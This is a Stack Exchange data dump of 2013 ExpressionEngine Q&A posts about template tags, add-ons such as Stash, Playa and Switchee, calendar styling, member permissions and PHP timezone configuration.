  <row Id="14143" PostTypeId="2" ParentId="14108" CreationDate="2013-09-27T16:22:52.840" Score="0" Body="&lt;p&gt;In addition to Jeremy's suggestions... Triple check these two parameters&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;channel=&quot;test_channel&quot; &#xA;site=&quot;blogs&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They must match what is set in EE.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you're using a guest user_ID to allow users to post to the channel, you must set the &lt;strong&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/#logged-out-member-id&quot; rel=&quot;nofollow&quot;&gt;logged_out_member_id&lt;/a&gt;&lt;/strong&gt; parameter on the form tag and that member group must have permissions set to post to the channel.  &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-09-27T16:29:48.733" LastActivityDate="2013-09-27T16:29:48.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14144" PostTypeId="2" ParentId="14140" CreationDate="2013-09-27T16:32:41.363" Score="1" Body="&lt;p&gt;Assuming the client isn't in the Super Admins member group, you could remove control panel access from the member groups in which the client account(s) reside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/member_groups_edit.html#can-access-the-control-panel&quot; rel=&quot;nofollow&quot;&gt;Member Groups documentation&lt;/a&gt; for the various permission settings you can assign or take away from groups.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-09-27T16:32:41.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14146" PostTypeId="2" ParentId="14137" CreationDate="2013-09-27T16:43:11.540" Score="0" Body="&lt;p&gt;Go with Matt's JS idea. It's easily done with jQuery:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's working code for you. You'll just need to adjust your selectors.&lt;br&gt;&#xA;&lt;strong&gt;&lt;a href=&quot;http://jsfiddle.net/gxFdH/1/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/gxFdH/1/&lt;/a&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-09-27T16:43:11.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14147" PostTypeId="1" CreationDate="2013-09-27T16:55:56.560" Score="0" ViewCount="156" Body="&lt;p&gt;We have a client who will be selling:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Memberships&lt;/li&gt;&#xA;&lt;li&gt;Merchandise&lt;/li&gt;&#xA;&lt;li&gt;Reservations for classes (prepay)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The classes have different rates based on the course.  They are on various days, with limited spaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would like to go with BrilliantRetail for the memberships/merchandise, and rEEservation for the classes, but I don't think there is an easy solution for integrating the two, in order to have a single checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone managed to pull something like this off or have any ideas of what the best approach would be?&lt;/p&gt;&#xA;" OwnerUserId="276" LastEditorUserId="276" LastEditDate="2013-09-27T17:02:23.577" LastActivityDate="2015-04-30T17:35:37.833" Title="How can I integrate a reservation system with a retail based cart in EE?" Tags="|shopping-cart|brilliantretail|reeservation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14148" PostTypeId="2" ParentId="12354" CreationDate="2013-09-27T17:07:03.587" Score="2" Body="&lt;p&gt;Be sure to add '{exp:fbc:prepare_page}' above the &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; tag of the page where you want the button to appear.&lt;/p&gt;&#xA;" OwnerUserId="2117" LastActivityDate="2013-09-27T17:07:03.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14151" PostTypeId="2" ParentId="14116" CreationDate="2013-09-27T18:58:42.707" Score="1" Body="&lt;p&gt;You have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;notify_user=&quot;yes&quot; &#xA;user_email_field=&quot;current_user&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...which is good, but your &quot;current_user&quot; hidden field is holding a &lt;code&gt;{screen_name}&lt;/code&gt; as its value. Shouldn't that be an email address? Eg. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; value=&quot;{email}&quot; name=&quot;current_user&quot; id=&quot;current_user&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-09-27T18:58:42.707" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14153" PostTypeId="2" ParentId="14140" CreationDate="2013-09-27T19:24:15.817" Score="0" Body="&lt;p&gt;An alternative to Jeremy's answer is to change the password(s) for the control panel login(s) the client uses. If they can't login, they can't change anything.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-09-27T19:24:15.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14154" PostTypeId="2" ParentId="14121" CreationDate="2013-09-27T19:30:18.163" Score="1" Body="&lt;p&gt;Working with a (father) template acting as a router/controller for embedded (children) templates as suggested by Peter Lewis is a perfectly fine approach in some cases. A classical use case would be to have the same template used for lists and detail views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in that case, have a look at &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;switchee&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;ifelse&lt;/a&gt; by Mark Croxton. These will allow you to work with complex conditional logic without having EE parse each and every chunk of code or embed inside those conditionals. Big performance gain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to aim even higher, you could also look at &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; and the &lt;a href=&quot;http://eeinsider.com/articles/template-partials-using-stash/&quot; rel=&quot;nofollow&quot;&gt;template partial approach&lt;/a&gt;. The learning curve is a lot steeper but the benefits can be huge. &lt;a href=&quot;http://viget.com/extend/ee-side-of-the-new-viget-part-2&quot; rel=&quot;nofollow&quot;&gt;Here is a good article by Trevor Davis over at Viget&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-09-27T19:30:18.163" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14155" PostTypeId="1" AcceptedAnswerId="14207" CreationDate="2013-09-27T19:31:18.980" Score="1" ViewCount="286" Body="&lt;p&gt;Is there a way to exclude recurring events from the &lt;code&gt;{exp:calendar:events}&lt;/code&gt; tag output? I need to display a maximum of 6 upcoming events but only if they are non-recurring events. Example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events&#xA;  dynamic=&quot;no&quot;&#xA;  event_limit=&quot;6&quot;&#xA;  date_range_start=&quot;today&quot;&#xA;}&#xA;&#xA;...&#xA;&#xA;{/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking at the DB tables Calendar uses I see there is a column in the 'exp_calendar_events' table called 'recurs' which could act as a flag (n/y). Is there any easy way within Solspace Calendar to tap into this so I could exclude events with 'recurs' set to 'y' (without trying to recreate the call with the Query Module)?&lt;/p&gt;&#xA;" OwnerUserId="286" LastActivityDate="2013-10-01T01:19:51.633" Title="Exclude recurring events from {exp:calendar:events} loop" Tags="|solspace|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14157" PostTypeId="2" ParentId="14141" CreationDate="2013-09-27T20:20:00.193" Score="1" Body="&lt;p&gt;Use the parameter &quot;return&quot; such as return=&quot;page/entry_id&quot;. Or get the MO'Variables Add-on and use return=&quot;{last_page_visited}&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1173" LastActivityDate="2013-09-27T20:20:00.193" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14158" PostTypeId="1" AcceptedAnswerId="14186" CreationDate="2013-09-27T22:54:10.280" Score="0" ViewCount="460" Body="&lt;p&gt;I have a channel with a matrix field named &lt;code&gt;expedition_days&lt;/code&gt;, and inside of that matrix, there is a playa column named &lt;code&gt;resources&lt;/code&gt;. I am trying to create a stash list for each row of the matrix. It seems like you can't use the playa module tags inside of append_list, unless I'm missing something.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;expedition&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    limit=&quot;1&quot;&#xA;}&#xA;    {expedition_days}&#xA;        {exp:stash:append_list&#xA;            name=&quot;expedition_days&quot;&#xA;            parse_tags=&quot;yes&quot;&#xA;        }&#xA;            {stash:item_day}{row_count}{/stash:item_day}&#xA;            {stash:item_location}{location}{/stash:item_location}&#xA;&#xA;            {exp:playa:children&#xA;                col=&quot;resources&quot;&#xA;            }&#xA;                {exp:stash:append_list:nested name=&quot;resources_{row_count}&quot;}&#xA;                    {stash:item_title}{title}{/stash:item_title}&#xA;                {/exp:stash:append_list:nested}&#xA;            {/exp:playa:children}&#xA;        {/exp:stash:append_list}&#xA;    {/expedition_days}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14" LastActivityDate="2013-09-30T13:19:20.617" Title="Stash Nested Append List with Matrix and Playa" Tags="|matrix|playa|stash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14159" PostTypeId="2" ParentId="14142" CreationDate="2013-09-28T09:28:08.930" Score="2" Body="&lt;p&gt;As the error says, PHP requires you to set a default timezone. This is actually quite a common error message when setting up a new server (or local development environment) with PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to find your php.ini file on the server (ask your host where it is, or ask them to edit it for you). Find this part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; Defines the default timezone used by the date functions&#xA;; http://php.net/date.timezone&#xA;;date.timezone =&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It doesn't really matter what you set the timezone here to, since EE and most PHP scripts will override it anyway. You can set it to &lt;a href=&quot;http://www.php.net/manual/en/timezones.php&quot; rel=&quot;nofollow&quot;&gt;any of these supported timezones&lt;/a&gt;. If you're unsure, just uncomment the line (remove the leading &lt;code&gt;;&lt;/code&gt;), and change it to read:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;date.timezone = UTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-09-28T09:28:08.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14160" PostTypeId="2" ParentId="13978" CreationDate="2013-09-28T09:39:43.603" Score="1" Body="&lt;p&gt;As was mentioned in a previously deleted question, all of the free member management solutions (and indeed, all of the commercial ones too) build on top of EE's integrated member management functions. Therefore it's not possible to add member management to EE core, without a &lt;em&gt;lot&lt;/em&gt; of work re-implementing all this functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, you'd be crazy not to spend the $299 and save yourself a lot of work. Plus you're supporting EllisLab and the continued development and support of ExpressionEngine :)&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-09-28T09:39:43.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14161" PostTypeId="2" ParentId="14158" CreationDate="2013-09-28T11:56:05.510" Score="2" Body="&lt;p&gt;Whenever I encounter these parse order issues with Stash, I find it helps to promote your Stash tags higher up the nesting hierarchy. Remember that the &lt;code&gt;set&lt;/code&gt; and &lt;code&gt;set_list&lt;/code&gt; methods automatically detect tags that loop, so often, you won't need to use the append methods. Try this for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;expedition&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    limit=&quot;1&quot;&#xA;}&#xA;&#xA;    {exp:stash:set_list name=&quot;expedition_days&quot; parse_tags=&quot;yes&quot;}&#xA;        {expedition_days}&#xA;            {stash:item_day}{row_count}{/stash:item_day}&#xA;            {stash:item_location}{location}{/stash:item_location}&#xA;&#xA;            {exp:stash:set_list:2 parse_tags=&quot;yes&quot; name=&quot;resources_{row_count}&quot;}&#xA;                {exp:playa:children col=&quot;resources&quot;}&#xA;                    {stash:item_title}{title}{/stash:item_title}&#xA;                {/exp:playa:children}&#xA;            {/exp:stash:set_list:2}&#xA;&#xA;        {/expedition_days}&#xA;    {/exp:stash:set_list}&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;{!-- ==============================&#xA;TEST OUTPUT &#xA;=================================== --}&#xA;&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;    &amp;lt;ul&amp;gt;&#xA;    {exp:stash:get_list name=&quot;expedition_days&quot;}&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;h3&amp;gt;day: {item_day} - location: {item_location}&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;              {exp:stash:get_list:2 name=&quot;resources_{item_day}&quot;}&#xA;                 &amp;lt;li&amp;gt;{item_title}&amp;lt;/li&amp;gt;&#xA;              {/exp:stash:get_list:2}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, are you sure you want to use the &lt;code&gt;playa:children&lt;/code&gt; tag? I don't know what your exact use-case is here, but you may find that using the simple primary tag pair (&lt;code&gt;{resources}...{/resources}&lt;/code&gt;) gives you what you're looking for (assuming you're trying to output each row's related items, as opposed to the entire set of relationships in the column, which is what the &lt;code&gt;playa:children&lt;/code&gt; tag will do).&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2013-09-30T10:32:59.957" LastActivityDate="2013-09-30T10:32:59.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14162" PostTypeId="2" ParentId="14139" CreationDate="2013-09-28T12:57:26.717" Score="0" Body="&lt;p&gt;I would use &lt;a href=&quot;https://github.com/croxton/Stash/&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; for this, and split your data fetching from your markup assembly. Specifically, the &lt;code&gt;get_list&lt;/code&gt; tag has a &lt;code&gt;unique=&quot;yes&quot;&lt;/code&gt; parameter that would allow you to only output each 'look' once:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;looks&quot; parse_tags=&quot;yes&quot;}&#xA;  {exp:channel:entries channel=&quot;items&quot; search:item_brand=&quot;{last_segment}&quot; dynamic=&quot;no&quot;}&#xA;    {exp:playa:parents channel=&quot;looks&quot; require_entry=&quot;yes&quot;}&#xA;       {stash:the-title}{title}{/stash:the-title}&#xA;       {stash:the-image}{look_image}{/stash:the-image}&#xA;    {/exp:playa:parents}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;   {exp:stash:get_list unique=&quot;yes&quot; name=&quot;looks&quot;}&#xA;      &amp;lt;li&amp;gt;&amp;lt;img src=&quot;{the-image}&quot; alt=&quot;{the-title}&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;   {/exp:stash:get_list} &#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2013-09-28T13:06:13.977" LastActivityDate="2013-09-28T13:06:13.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14163" PostTypeId="2" ParentId="14133" CreationDate="2013-09-28T12:59:47.467" Score="2" Body="&lt;p&gt;Mailed KREA-Support, here´s the solution:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{if &quot;{element_name}&quot; == &quot;Kasten&quot;}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;will do the trick.&lt;/p&gt;&#xA;" OwnerUserId="136" LastActivityDate="2013-09-28T12:59:47.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14165" PostTypeId="1" CreationDate="2013-09-29T00:47:21.737" Score="1" ViewCount="85" Body="&lt;p&gt;I am selecting recipients based on checkbox selections.  This works great except when no checkboxes are selected at all.  How can I check if no selection has been made, and give recipient.email[] a default value if nothing is selected?&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1487" LastActivityDate="2013-10-04T00:23:49.913" Title="Default recipient.email when no checkboxes are selected" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14166" PostTypeId="1" CreationDate="2013-09-29T03:18:37.663" Score="0" ViewCount="496" Body="&lt;p&gt;I am tring to display a list of news items that are related to a particular entry. I might have set it up using categories but this came as a request after the fact and I was using related entries for another purpose so here is what I have.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:switchee variable = &quot;{segment_4}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;#^P(\d+)$#|''|category&quot;}&#xA;      {exp:channel:entries channel=&quot;teams&quot; url_title=&quot;{segment_3}&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;} &#xA;        &amp;lt;section id=&quot;newsLanding&quot;&amp;gt;&#xA;          &amp;lt;h2&amp;gt;{title} Team News&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;          {parents field=&quot;rel_newsTeam&quot; orderby=&quot;date&quot; limit=&quot;1&quot; paginate=&quot;bottom&quot;}&#xA;            &amp;lt;article&amp;gt;&#xA;              &amp;lt;time datetime=&quot;{parents:entry_date format=&quot;%Y-%m-%d&quot;}&quot;&amp;gt;{parents:entry_date format=&quot;%F %j, %Y&quot;}&amp;lt;/time&amp;gt;&#xA;              &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{site_url}news/{parents:url_title}&quot;&amp;gt;{parents:title}&amp;lt;/a&amp;gt;{if parents:cf_newsSource}{if parents:cf_newsSourceLink}&amp;lt;a class=&quot;underlined&quot; href=&quot;{parents:cf_newsSourceLink}&quot;&amp;gt;{/if} ({parents:cf_newsSource}){if parents:cf_newsSourceLink}&amp;lt;/a&amp;gt;{/if}{/if}&amp;lt;/h3&amp;gt;&#xA;              {parents:cf_newsBody:excerpt}&#xA;              {if parents:cf_newsBody:has_excerpt}&#xA;                &amp;lt;p class=&quot;readmore&quot;&amp;gt;&amp;lt;a href=&quot;{site_url}news/{url_title}&quot;&amp;gt;READ MORE&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;              {/if}&#xA;            &amp;lt;/article&amp;gt;&#xA;            {parents:paginate}&#xA;              &amp;lt;p&amp;gt;Page {parents:current_page} of {parents:total_pages} pages {parents:pagination_links}&amp;lt;/p&amp;gt;&#xA;            {/parents:paginate}&#xA;          {/parents}&#xA;        &amp;lt;/section&amp;gt;&#xA;      {/exp:channel:entries}&#xA;    {/case}&#xA;    {case default=&quot;yes&quot;}&#xA;      {redirect=&quot;404&quot;}&#xA;    {/case}&#xA;  {/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The url pattern goes something like this &#xA;domain.com/news/teams/specific_team&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine to show news entries related to the team. As you can see on the parents field I set it to limit 1 to get pagination to kick in and attempted what I thought would be reasonable (parents:paginate) but it just outputs the tag not any actual pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how I could paginate this or is it not possible?&lt;/p&gt;&#xA;" OwnerUserId="1283" LastActivityDate="2013-09-29T03:18:37.663" Title="Pagination of related entries" Tags="|relationships|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14167" PostTypeId="2" ParentId="6145" CreationDate="2013-09-29T03:29:27.070" Score="1" Body="&lt;p&gt;Turns out the update method is available, BUT it's only triggered if you visit the global settings for the fieldtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, if you create a feildtype which doesn't have global settings, you're kinda boned and will have to find a workaround for querying/updating the installed version in the database and setting 'has_global_settings' to 'y' in exp_fieldtypes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such a PITA.&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2013-09-29T03:29:27.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14168" PostTypeId="1" CreationDate="2013-09-29T09:36:39.343" Score="2" ViewCount="227" Body="&lt;p&gt;I would like to color code the day cell according to the event category. I have 4 categories Islamic, TRA, Global and UAE.Following is a screenshot of the calendar I would like to have. &lt;img src=&quot;https://i.stack.imgur.com/jCbrW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me with an example code that does this.&lt;/p&gt;&#xA;" OwnerUserId="2121" LastActivityDate="2013-09-29T13:15:45.533" Title="Solspace Calendar: Color Code events by Category" Tags="|solspace-calendar|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14169" PostTypeId="1" CreationDate="2013-09-29T11:41:58.630" Score="2" ViewCount="58" Body="&lt;p&gt;I wish to show to a logged in member, a list of pages they have recently viewed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked into the default Tracking module and Solspace tracker, but these all seem to just work to display on a particular entry or in the CP, rather than displaying on say an account page for a member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone done this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-09-30T18:26:23.310" Title="Display pages viewed to a member" Tags="|solspace-tracker|tracking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14170" PostTypeId="2" ParentId="14168" CreationDate="2013-09-29T11:45:58.450" Score="6" Body="&lt;p&gt;On the {exp:calendar:cal} tag, I believe you could do &#xA;enable=&quot;categories&quot;. You could then output the category for each event with class=&quot;category{categories}{category_id}{/categories}&quot; and then just create some CSS to apply the colour for each class - such as category1, category2 etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like that might work.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-09-29T11:45:58.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14171" PostTypeId="2" ParentId="13626" CreationDate="2013-09-29T13:10:38.887" Score="0" Body="&lt;p&gt;I thought that you had solved the problem, but in reality I had to go into yet another table and remove all the Freeform Pro-specific fieldtypes. It is the exp_freeform_fieldtypes table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-09-29T13:10:38.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14172" PostTypeId="2" ParentId="14168" CreationDate="2013-09-29T13:15:45.533" Score="1" Body="&lt;p&gt;I had to do something similar but categories were being used for something else, so in the calendar setup I split event categories into separate calendars and then used the events calendar ID to create class names as explained above. Same solution, different route. &lt;/p&gt;&#xA;" OwnerUserId="286" LastActivityDate="2013-09-29T13:15:45.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14173" PostTypeId="2" ParentId="13670" CreationDate="2013-09-29T22:15:58.097" Score="2" Body="&lt;p&gt;If you have a lot of &lt;code&gt;if segment ==&lt;/code&gt; or just a lot of &lt;code&gt;if&lt;/code&gt;s in general, depending on what is within your &lt;code&gt;if&lt;/code&gt;s this can slow your site down. If you have a lot of &lt;code&gt;channel:entries&lt;/code&gt; calls within each &lt;code&gt;if&lt;/code&gt;, for example. EE actually parses all the info within the &lt;code&gt;if&lt;/code&gt;s regardless of whether they are valid or not. This can mean your entire page is parsing. So if it's long that's a lot, especially if it has a lot of embeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would look into the switchee plugin. It is more powerful in its comparisons (you can use regex) but most importantly it processes the conditionals first and then only parses those ee tags that are within the matched conditionals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example URL &lt;code&gt;domain.com/some-url-title&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 != ''}&#xA;  {exp:channel:entries parameters etc}&#xA;    This will all get parsed because the conditional is true&#xA;  {/exp:channel:entries}&#xA;{/if}&#xA;{if segment_1 != 'foo'}&#xA;  {exp:channel:entries parameters etc}&#xA;    This will also get parsed because of the way ee handles conditionals&#xA;  {/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with switchee&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_1}&quot; parse=&quot;inward&quot;}&#xA;  {case default=&quot;yes&quot;}&#xA;    {exp:channel:entries parameters etc}&#xA;      This will get parsed because the conditional is true&#xA;    {/exp:channel:entries}&#xA;  {/case}&#xA;  {case value='foo'}&#xA;    {exp:channel:entries parameters etc}&#xA;      This will not be parsed because the switchee case is not true saving valuable time&#xA;    {/exp:channel:entries}    &#xA;  {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also simple conditionals are processed differently and take less time than complex conditionals such as if:else.&lt;/p&gt;&#xA;" OwnerUserId="1283" LastEditorUserId="2539" LastEditDate="2013-12-30T13:05:44.423" LastActivityDate="2013-12-30T13:05:44.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14174" PostTypeId="1" AcceptedAnswerId="14175" CreationDate="2013-09-30T02:08:21.603" Score="1" ViewCount="631" Body="&lt;p&gt;I have a channel called &lt;code&gt;foo&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some entries in the &lt;code&gt;foo&lt;/code&gt; channel have been assigned categories, some are not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to group the entries based on their categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since some of them don't have categories, I want to be able to specifically search for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;foo&quot;&#xA;    disable=&quot;member_data|pagination&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    orderby=&quot;entry_id&quot;&#xA;    sort=&quot;asc&quot;&#xA;    category=&quot;&quot; /* HOW TO FILTER FOR &quot;NO CATEGORIES&quot;? */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-09-30T02:16:25.830" LastActivityDate="2013-11-05T23:05:55.520" Title="{exp:channel:entries} &quot;no category&quot; filter" Tags="|channel-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14175" PostTypeId="2" ParentId="14174" CreationDate="2013-09-30T02:16:32.020" Score="2" Body="&lt;p&gt;Use the &quot;NOT&quot; feature in Categories and list all of your other Categories.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;category=&quot;not 4|5|7&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simply list all of your categories with the &quot;NOT&quot; declaration and it should show everything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also group multiple categories inside your channel with an if statement for each category.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if category_id == &quot;&quot;} this should target empty categories {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-09-30T02:16:32.020" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14176" PostTypeId="1" CreationDate="2013-09-30T03:59:39.070" Score="3" ViewCount="147" Body="&lt;p&gt;I'd like to show a listing of Playa child entries (child's title + a few custom fields), ordered by their total_parents (total number of parent entries associated with the child entry).  The child entry with the most parents would be at the top of the list; the child entry with the fewest parents would be at the bottom.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked through the Playa docs, EE StackExchange, and old P&amp;amp;T support site at Get Satisfaction. But I've had no luck so far.  I suspect I've overlooked something obvious, or am off track in thinking about the problem.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really appreciate suggestions on how you would approach this issue.  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1494" LastActivityDate="2016-10-14T00:59:09.210" Title="Order Playa children by total_parents?" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
